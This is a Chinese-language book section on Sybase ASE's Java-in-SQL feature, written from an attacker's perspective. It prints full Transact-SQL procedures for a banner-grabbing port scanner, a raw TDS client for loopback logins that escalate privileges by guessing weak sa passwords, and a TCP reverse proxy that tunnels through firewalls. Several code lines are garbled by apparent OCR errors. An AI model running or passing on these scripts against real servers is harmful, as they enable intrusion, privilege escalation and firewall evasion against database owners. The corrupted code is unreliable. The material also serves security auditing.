15.3 SQL中的Java
在第13章我们曾简短讨论了Sybase对Java的支持,此处我们仍然要讨论它,因为它是Sybase最敏感的安全特性之一。在最近的Sybase ASE版本内,可以自由地混合Transact-SQL和Java语句,像调用用户定义的函数一样调用Java类成员函数,声明Java数据类型就象是本地Transact-SQL一样,甚至能够以非常自然的方式通过参数化构造函数来实例化Java对象。显然,这在安全方面是有含义的,因为其显著增加了可供攻击者或低特权Sybase用户可使用的功能。您有几件事不可以做,这是一点限制——除了由Java函数返回的单个值,不支持输出参数,如果出现了不能处理的Java异常,查询批处理将停止在那一点上。这些限制可以相当容易地发挥作用。
第13章简短讨论了一个代码片断,该代码利用Java类从Transact-SQL之内对远程主机进行端口扫描:
declare @s java.net.Socket
select @s = new java.net.Socket! "192.168.1.1", 22 )
select @s>>"close"()
这是一个小巧的样例,它演示了你需要理解的多数内容以便于在Transact-SQL内编写您自己的Java代码片断:声明Java类型,通过参数化构造函数实例化,另外在Java函数名称与Transact-SQL保留字相同时,需要用引号将其括起来。
从攻击者的角度来看,以这种方式调用Java有几个优点。首先,代码不以持久的形式保存在数据库内(虽然查询可能会被记录在日志内)。这意味着,跟踪攻击者的行动通常是比较困难的。第二,除了目标服务器外不需要任何开发工具。如果通过SQL注入插入语句,特别地只需利用Web浏览器就可以实现。如果攻击者可以看到错误消息,在其犯错误的时候,ASE将返回有用的语法提示。最后(通常这也是SQL内的Java的优点),一旦管理员配置了Java支持,Java对所有用户都是可用的,而不管其特权级别。通常,这是探测Sybase服务器自身(通过loopback连接方式)和网络的非常简单和最容易的方法,在低特权账户内通过SQL注入,攻击者可以利用这一点。
我们在前面看到的第一个示例是一个比较精巧的端口扫描器,如果有标语(banner)的话,它将抓取标语:
create procedure portscan(@host varchar(l000), Sport integer ) as
begin
declare @s java.net.Socket
declare @is java.io.InputStream
declare @banner varchar(2000)
select @s = new java.net.Socket( @host, Sport )
select @is = @s>>getInputStream()
select Java.lang.Thread.currentThread()>>sleep( 1000 )
while(@is>>available () > 0 )
begin
select @banner = @banner + char(@is>>"read"())
end
select @s>>"close"()
select @banner
print 'end'
end
本例中请注意几点:首先,我们正在创建一个存储过程以打包扫描单个端口的过程。一般,低特权账户不可以创建过程;但是,如果安装了示例数据库,示例数据库pub2和pub3允许guest级别的用户创建过程。在存储过程内并不真的需要打包Java语句;如果攻击者没有创建过程的特权,用简单的SQL批处理语句也可以做得很好。
另一个令人感兴趣的方面是,我们正一次1个字节地检索标语。这是因为缺少对输出参数的支持;我们可以采取的从Java方法得到输出的惟一办法是利用它的返回值。
更复杂的网络客户端也是可能的,甚至(有趣地)TDS客户端使您可以在Database服务器自己的网络内发出任意的Sybase查询。下面的两个示例是更复杂的(和更危险的)脚本——第一个是一个简单的TDS客户端,第二个是TCP代理。
15.3.1 JSQL TDS客户端
下面的JSQL脚本对指定的主机和TCP端口执行本地模式的Sybase服务器身份验证,然后发出指定的查询并以单个文本字符串返回结果。
基于众多原因,这在安全方面很有用。首先是因为执行loopback连接的能力。在攻击数据库服务器时,您经常可以发现自己处于籍此可发出任意查询的状况下,但是只能使用无特权用户的特权级别。这是很普通的SQL注入示例,例如,如果已经正确地封锁数据库服务器的话。在这种情况下,通过猜测有更高特权的本地服务器上的有效用户名和口令,能够提升特权,这是很有用的。在实际中,我们经常遇到锁定(locked-down)的MS SQL Server和Sybase服务器,其sa口令很脆弱。
此脚本的另一个用途是可以连接到同一网络内的其他Sybase服务器(可能是DMZ)。在审计中,我们经常发现网络中同一部分的测试服务器没有得到和我们遇到的第一个服务器一样的保护。用这种方法在服务器周围跳跃,可以使您能够在不同的网络筛选区域之间进行岛屿跳跃(island-hop)。
这个脚本是按照FreeTDS项目www.freetds.org的文档编写的。
(为VARBINARY字符串和缺少注释表示歉意。)
create procedure RemoteQuery( @host varchar(1000),
@port integer,
@user varchar(30),
@password varchar(30),
@guery varchar(8000) ) as
begin
declare @s java.net.Socket
declare @is java.io.InputStream
declare @os java.io.OutputStream
declare @banner varchar(2000)
declare @p varbinary(2048)
declare @i integer
set @s = new java.net.Socket( @host, @port )
set @is = @s>>getInputStream()
set @os = @s>>getOutputStream()
set @p = 0x0200020000000000
set @p = @p + 'XXXXXXX' + 0x000000
set @p = @p + 0x0000000000000000000000000000000000000000
set @p = @p + 0x07
set @p = @p + @user + replicate(0x00, 30-len(@user))
set @p = @p + convert(varbinary(1), len(@user))
set @p = @p + @password + replicate(0x00, 30-len(@password))
set @p = @p + convert(varbinary(1), len(@password))
set @p = @p + 0x3131353200000000000000000000000000000000
set @p = @p + 0x00000000000000000000040301060a0901
set @p = @p + 0x01000000000000000000 + "SQL_Advantage"
set @p = ep + 0x0000000000000000000000000000000000
set @p = @p + 0x0d + "XXXXXXX" + 0x000000
set @p = @p + 0x0000000000000000000000000000000000000000
set @p = @p + 0x0700
set @p = @p + convert(varbinary(1), len(@password))
set @p = @p + @password + replicate(0x00, 30-1en(@password))
set @p = @p + replicate) 0x00, 223 )
set @p = @p + 0x0c05000000 + "CT-Library"
set @p = @p + 0x0a05000000000dll
set @p = @p + 0x00 + "s_english"
set @p = @p + 0x0000000000000000000000000000
set @os = @os>>"write" (@p)
set @os = @os>>flush()
set @p = 0x02010063000000000000000000000000
set @p = @p + 0x0000000000000000000000000069736f
set @p = @p + 0x5f310000000000000000000000000000
set @p = @p + 0x00000000000000000000000500353132
set @p = @p + 0x0000000300000000e21800010a018608
set @p = @p + 0x336d7ffffffffe020a00000000000a68
set @p = @p + 0x000000
set @os = @os>>"write" (@p)
set @os = @os>>flush()
set @i = java.lang. Thread. currentThread()>>sleep( 1000 )
while ( @is>>available() > 0 )
begin
select @banner = @banner + char(@is>>"read"())
end
if( substring(@banner, 9, 1) = 0xad ) and (substring(@banner, 12,
1) = 0x06)
return -- login failed
set @p = 0x0f0l
set @p = @p + convert( varbinary(1), (len(@query)+14)/256 )
set @p = @p + convert( varbinary(1), (len(@query)+14)%256 )
set @p = @p + 0x0000000021
set @p = @p + convert( varbinary(1), (len(@query)+1)%256 )
set @p = @p + convert( varbinary(1), (len(@query)+1)/256 )
set @p = @p + 0x000000
set @p = @p + @query
set @os = @os>>"write" (@p)
set @os = @os>>flush()
set @i = java.lang.Thread.currentThread()>>sleep( 1000 )
select @banner = 0x20
while ( @is>>available() > 0 )
begin
set @i = @is>>"read" ()
if( @i >= 0x20 ) and ( @i <= 0x7f )
select @banner = @banner + char(@i)
end
select @banner
set @s = @s>>"close"()
end
15.3.2 JSQL TCP代理
下面的脚本使Sybase担当TCP反向代理。反向代理指的是一个程序,该程序与客户和代理该客户的服务器分别建立TCP输出连接。
这是一种相当有效的绕过防火墙的办法,因为大多数公司都阻止所有的输入连接,却很愉快地允许输出连接,尤其是在TCP端口80、443和53上。这类技巧只受想象力的限制;例如,如果公司阻止了所有的来自Sybase服务器的输出通信量(这是个明智的策略),可以修改该脚本,以DatagramSocket类来代替,并通过UDP端口53来代理TCP连接——IDS可能可以观察通过数据库服务器和Internet之间边界的通信量,不过即便是基本的加密也会妨碍它。
利用此脚本(和攻击主机上的另一个代理程序),可以通过代理连接与Sybase所在的网络交互。这么做的主要好处是,可以使用所有强大的网络客户端工具(RPC扫描器、SMB扫描器及SSH客户端等),就像身处目标网络之内。另一个有趣的方面是,大多数防火墙不阻止loopback连接;例如,如果可以代理到RPC或SSH daemon的loopback连接,侵入数据库主机有可能变得更容易。
create procedure proxy(@outhost varchar(1000), @outport integer,
@inhost varchar(1000), @inport integer ) as
begin
declare @sout java.net.Socket
declare @sin java.net.Socket
declare @outis java.io.InputStream
declare @outos java.io.OutputStream
declare @inis java.io.InputStream
declare @inos java.io.OutputStream
declare @buffer varchar(2000)
declare @no_out integer
declare @no_in integer
declare @i integer
set @sout = new java.net.Socket( @outhost, @outport )
set @outis = @sout>>getInputStream()
set @outos = @sout>>getOutputStream()
set @sin = new java.net.Socket( @inhost, @inport )
set @inis = @sin>>getInputStream()
set @inos = @sin>>getOutputStream()
set @i = 0
while(@i < 60)
begin
if(@outis>>available() > 0)
begin
set @buffer = char (@outis>>" read" ())
while ( @outis>>available() > 0 )
begin
set @buffer=@buffer+char(@outis>>" read"())
end
set @inos=@inos>>"write"(convert (varbinary (2000),
@buffer))
set @no_out = 0
set @i = 0
end
else
set @no_out = 1
if(@inis>>available() > 0)
begin
set @buffer = char (@inis>>" read" ())
while(@inis>>available() > 0 )
begin
set @buffer = @buffer + char(@inis>>"read" ())
end
set @outos = @outos>>"write"(convert(varbinary(2000),
@buffer))
set @no_in = 0
set @i = 0
end
else
set @no_in = 1
if(( @no_in = 1 ) and ( @no_out = 1 ))
begin
set @no_in = java.lang.Thread.currentThread()>>sleep(
1000 )
set @i = @i + 1
end
end
set @sout = @sout>>" close" ()
set @sin = @sin>>"close"()
end






